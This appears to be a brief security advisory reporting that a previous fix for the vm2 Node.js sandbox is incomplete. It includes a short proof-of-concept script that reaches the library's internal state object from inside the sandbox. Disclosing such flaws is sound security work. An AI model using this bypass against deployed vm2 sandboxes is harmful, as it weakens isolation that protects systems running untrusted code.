https://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7 is not fully patched.
It is still possible to get access to VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL.
const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
globalThis['VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL']
`));
{
"nvd_published_at": null,
"cwe_ids": [
"CWE-693"
],
"severity": "MODERATE",
"github_reviewed": true,
"github_reviewed_at": "2026-05-08T16:22:52Z"
}